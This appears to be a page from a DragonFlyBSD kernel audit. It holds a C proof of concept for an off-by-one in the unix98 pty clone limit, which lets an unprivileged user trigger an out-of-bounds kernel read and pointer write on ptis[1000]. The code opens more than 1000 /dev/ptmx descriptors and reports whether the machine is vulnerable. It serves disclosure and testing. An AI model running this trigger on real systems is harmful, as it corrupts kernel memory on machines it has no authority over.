DragonFlyBSD Kernel Audit
DF-2768 / ptmx_limit_offbyone.c
← back to finding ↓ download raw
/*
 * DF-2768 PoC: unix98 pty clone-count off-by-one -> ptis[MAXPTYS] OOB
 *
 * sys/kern/tty_pty.c:176 calls
 *      devfs_clone_bitmap_get(&DEVFS_CLONE_BITMAP(pty), MAXPTYS)
 * but sys/vfs/devfs/devfs_helper.c:224-227 only refuses units with
 *      unit > limit
 * so unit == MAXPTYS (1000) is ACCEPTED.  ptis[] is kmalloc'd with
 * exactly MAXPTYS entries (tty_pty.c:1292), so the 1001st pty reads
 * ptis[1000] (uninitialized out-of-bounds read used as a pointer,
 * tty_pty.c:186) and writes ptis[1000] = pti (out-of-bounds pointer
 * store, tty_pty.c:190).
 *
 * Unprivileged: opening /dev/ptmx requires no privilege at all.
 *
 * Success criterion: more than MAXPTYS unix98 ptys exist concurrently
 * (i.e. /dev/pts/1000 exists) -- a correct implementation refuses the
 * 1001st open with ENXIO.
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MAXPTYS 1000

int
main(void)
{
	int *fds;
	int n = 0, i, lasterr = 0;
	char path[64];
	struct stat st;

	fds = calloc(MAXPTYS + 16, sizeof(int));

	for (i = 0; i < MAXPTYS + 16; i++) {
		int fd = open("/dev/ptmx", O_RDWR);
		if (fd < 0) {
			lasterr = errno;
			break;
		}
		fds[n++] = fd;
	}

	printf("opened %d ptmx master fds (expect <= %d), last error=%s(%d)\n",
	    n, MAXPTYS, strerror(lasterr), lasterr);

	/* Count live slave nodes and probe the OOB unit directly */
	snprintf(path, sizeof(path), "/dev/pts/%d", MAXPTYS);
	if (stat(path, &st) == 0) {
		printf("VULNERABLE: %s exists -> unit %d was allocated, "
		    "ptis[%d] out-of-bounds read+write taken\n",
		    path, MAXPTYS, MAXPTYS);
		fflush(stdout);
		return (2);
	}
	printf("not vulnerable: /dev/pts/%d absent\n", MAXPTYS);
	fflush(stdout);
	return ((n > MAXPTYS) ? 2 : 0);
}